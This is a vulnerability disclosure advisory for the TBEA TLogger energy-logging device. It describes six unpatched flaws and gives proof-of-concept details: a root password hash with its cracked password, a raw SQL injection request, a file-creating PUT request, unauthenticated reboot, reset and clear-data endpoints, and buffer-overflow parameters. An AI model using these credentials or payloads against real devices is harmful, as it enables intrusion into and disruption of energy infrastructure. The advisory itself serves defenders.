TBEA TLogger 2.1.0.0B0.0.0.0 Backdoor Account / SQL Injection / Disclosure

-------------------------------------------------------------------------------
    title| Multiple Vulnerabilities in TBEA TLogger
    product| TBEA TLogger (TBEA Communication Box 3rd Generation)
    vulnerable version| V2.1.0.0B0.0.0.0
    fixed version| -
    CVE number| CVE-2025-13293, CVE-2025-13294, CVE-2025-15680,
    | CVE-2025-15681, CVE-2025-15682, CVE-2025-15683
    impact| Critical
    homepage| https://www.tbea.com/
    -------------------------------------------------------------------------------
    Vendor description
    -------------------------------------------------------------------------------
    "TBEA, a group committed to “green and low-carbon development”, is a pioneer in
    global energy-efficient power transmission and distribution, and a
    industry-leading service provider of clean energy solutions."
    Source: https://en.tbea.com/about.html
    Vulnerable versions
    -------------------------------------------------------------------------------
    TBEA TLogger / V2.1.0.0B0.0.0.0
    
    Vulnerability overview
    -------------------------------------------------------------------------------
    1) Backdoor Account (CVE-2025-13293)
    The TLogger exposes SSH to the network. This SSH service also allows root
    login on the device. By cracking the hash from the file '/etc/shadow' it was
    possible to recover the password.
    2) Unauthenticated SQL Injection (CVE-2025-13294)
    The webserver accepts unauthenticated request that trigger SQLite Queries from
    the CCU.db, these request are vulnerable the SQL injections. An attacker can
    modify, read and delete data this way.
    3) Information Disclosure via UART (CVE-2025-15680)
    The UART interface is exposed on the circuit board. A physical attacker can use
    the interface to observer the boot procedure and get valuable debug information
    from the system via this way.
    4) Insufficient Webserver Authentication (CVE-2025-15681)
    The authentication of the webserver was implemented in an insufficient way. A
    user can bypass the login via browsing to another endpoint of the system.
    This is only possible if any user was logged into the device previously.
    5) Unauthenticated Resource Exhaustion (CVE-2025-15682)
    The webserver accepts a unauthenticated PUT request that create files
    containing user specified data in /opt/myapp/webserver/.
    6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683)
    The webserver can be put in denial of service conditions by accessing to
    specific endpoints. These endpoints do not require any previous authentication.
    Proof of Concept
    -------------------------------------------------------------------------------
    1) Backdoor Account (CVE-2025-13293)
    By reading out the file /etc/shadow, the hash of the user root gets exposed:
    root:aH8eS1ufCL7xY:17464:0:99999:7:::
    The cracked password is: tbea1234
    This can be used to login as root user via SSH to the device.
    2) Unauthenticated SQL Injection (CVE-2025-13294)
    By sending a request where one of the parameters contains a URL encoded SQL
    injection you can modify the output from the query:
    ~
    GET /action/DayCapacity?&date="1'+OR+1%3d1%3b--" HTTP/1.1
    Host: 192.168.19.132
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    Cookie: tbea_language=en
    Upgrade-Insecure-Requests: 1
    Priority: u=0, i
    ~
    This happens because the value of date is added to the query string without any
    parsing or validation:
    ~
    char* r0_5 = websGetVar(wp_1, "date", 0x963a4, &wp_1)
    sprintf(&var_5cc, "where strftime('%%Y-%%m-%%d', DATE_TIME) = '%s' ", r0_5,
    "where strftime('%%Y-%%m-%%d', DATE_TIME) = '%s' ")
    strcat(&sql, &var_5cc)
    ~
    The same method is used through out the webserver. Therefore, multiple "action"
    endpoints that are prone to the SQL injection vulnerability:
    Selects:
    
      *
    DayCapacity
      *
    MonthCapacity
      *
    YearCaparity
      *
    recordData
      *
    InvHistoryData (&index>=1000)
      *
    CollectHistoryData
      *
    InvFaultData (&index>=100)
      *
    GetPortTableByParm
      *
    GetDicTransmit
      *
    GetDicDataPoint
      *
    GetXMLConfigByIPAndTypeCode
      *
    GetDicDataPointByInfo
      *
    Getstation_data
      *
    Getcustom_data
      *
    GetXmlSgnalConfig
      *
    getTrackParaData
    Deletes:
      *
    DeletePortTable1_4ByParm
      *
    DeleteHostIP_configByIp
      *
    DeleteIP_configByIp
      *
    DeleteDicTransmit
      *
    DeleteDicDataPoint
      *
    XMLInfoInDb
    
    3) Information Disclosure via UART (CVE-2025-15680)
    Two pins on the backside of the TLogger PCB can be used to gain UART access.
    By attaching a UART-to-USB serial converter, the following system startup can
    be observed:
    ~
    U-Boot 2016.03 (Jun 11 2022 - 12:04:08 +0800)
    CPU: Freescale i.MX6ULL rev1.1 69 MHz (running at 396 MHz)
    CPU: Temperature 32 C
    Reset cause: POR
    Board: EPC-M6Y2C
    Watchdog enabled
    DRAM: 256 MiB
    NAND: 256 MiB
    MMC: FSL_SDHC: 0
    In: serial
    Out: serial
    Err: serial
    Net: FEC1
    Normal Boot
    Hit 'zlg' to stop autoboot: 2 1 0
    [...]
    IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
    ifconfig: SIOCSIFFLAGS: Operation not permitted
    /etc/init.d/rcS: /etc/init.d/S90start_userapp.sh: line 45: can't create
    /sys/class/rtc/rtc0/device/clk_out_ctl: Permission denied
    set file system rw start
    set file system rw end
    /sbin:/usr/sbin:/bin:/usr/bin
    /bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin
    / u s r / l o c a l / q t - 4 . 8 . 6 / l i b : / u s r / l o c a l / q t -
    4.8.6/plugins/imageformats:/usr/local/tslib/lib:
    main() start.
    --------------------
    System: system start to run...
    [...]
    debug IP=192.168.1.253
    route: SIOCADDRT: File exists
    webserver: 2: Configuration for Embedthis webserver
    webserver: 2: ---------------------------------------------
    webserver: 2: Version: V2.1.0.0B0.0.0.0
    webserver: 2: BuildType: Debug
    webserver: 2: CPU: arm
    webserver: 2: OS: linux
    webserver: 2: Host: 192.168.2.253
    webserver: 2: Directory: /opt/myapp/webserver
    webserver: 2: Documents: web
    webserver: 2: Configure: me -d -q -platform windows-x86-default -
    configure . -without ssl -gen vs
    webserver: 2: ---------------------------------------------
    webserver: 2: Started http://:80
    ~
    Such details and the resulting debug capabilities enable a physical attacker to
    debug the device effectively during runtime.
    4) Insufficient Webserver Authentication (CVE-2025-15681)
    The webserver of the TLogger required to be logged in to the application for
    administrating the device. If a user has been authenticated correctly in a
    previous session, it was possible for a malicious actor to browse to the
    endpoint "/index.asp", and bypass the login process completely. The root cause
    is suspected to be a memory management issue within the webserver daemon itself.
    An attacker can not see its user name as there are just memory residue, which
    are displayed instead of admin. If such an unauthenticated-but-authenticated
    user logs out, the webserver crashes.
    
    5) Unauthenticated Resource Exhaustion (CVE-2025-15682)
    By sending a PUT request to the endpoint "/tmp/", the webserver creates the
    file "/opt/myapp/webserver/put-0.tmp" containing the data from the request
    body. Every subsequent request will create a new file e.g. "put-1.tmp":
    ~
    PUT /tmp/ HTTP/1.1
    Host: 192.168.19.132
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    Cookie: tbea_language=en
    Upgrade-Insecure-Requests: 1
    Priority: u=0, i
    Content-Length: 22
    USERSPECIFIED DATA
    ~
    These file aren’t deleted automatically, leading to a memory resource
    exhaustion. This issue occurs because the webserver attempts to move the
    generated "put-1.tmp" file into "/opt/myapp/webserver/web/tmp/". However, the
    "web/tmp/" directory does not exist.
    
    6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683)
    Different DoS conditions can be triggered via the webserver on the device.
    Unauthenticated DoS Actions:
    The webserver allows for multiple unauthenticated /action calls that result in
    a DoS:
    
      *
    /action/onRestart - Triggers a reboot
      *
    /action/onReset - Sets FLAG_RECREATE followed by reboot
      *
    /action/ClearData - Sets FLAG_CLEARDATA
      *
    /action/uploadInvFile - When sent as POST Request without a file results in SegFault of the Webserver
    
    Unauthenticated DoS via Buffer Overflow
    Multiple /action calls, when sent with certain parameters, result in a Segfault
    of the Webserver because of a buffer overflow. This happens because the typical
    method to assemble the queries is sprintf() and strcat() without any length
    checks.
    Vulnerable action calls:
    
      *
    /action/getIndiaRPData index=”1’--aaaabaaacaaadaaaeaaafa” type=1D
      *
    /action/YearCaparity date=’A’300
      *
    /action/TotalfaultData startDate=’A’300
      *
    /action/recordData startDate=’A’300
      *
    /action/InvHistoryData index>=1000 startDate=’A’300
      *
    /action/CollectHistoryData startDate=’A’300
      *
    /action/InvFaultData index>=100 startDate=’A’300
      *
    /action/GetPortTableByParm port='A'2000
      *
    /action/UpdatePortConfig port='A'2000
    
    Solution
    -------------------------------------------------------------------------------
    None.
    
    Workaround
    -------------------------------------------------------------------------------
    Restrict network and physical access to the device. The component should only
    be operated in an encapsulated/air-gapped environment.
    
    Recommendation
    -------------------------------------------------------------------------------
    Implement a customized action plan in advance, if the product should be
    integrated in the infrastructure.
    
    Contact Timeline
    -------------------------------------------------------------------------------
    2026-01-07: Contacted Austrian Energy CERT
    2026-01-07: Initial contact attempt / Inquiry to zxxxxxxxxxxxxg[@]tbea[.]com
    regarding potential vulnerabilities.
    2026-01-22: Contact attempt via LinkedIn with alleged "International Business
    Manager at TBEA".
    2026-01-22: Attempted to get contact addresses via other european CERTs.
    2026-01-22: Attempted to get contact addresses via Energy ISAC.
    2026-04-27: Sent initial findings regarding CVE-2025-13293 and
    CVE-2025-13294 to generic mailbox tbeaoffice[@]tbea[.]com.
    2026-08-05: Sent further findings regarding CVE-2025-15680, CVE-2025-15681,
    CVE-2025-15682 and CVE-2025-15683 to generic mailbox
    tbeaoffice[@]tbea[.]com.
    2026-08-10: Advisory publication.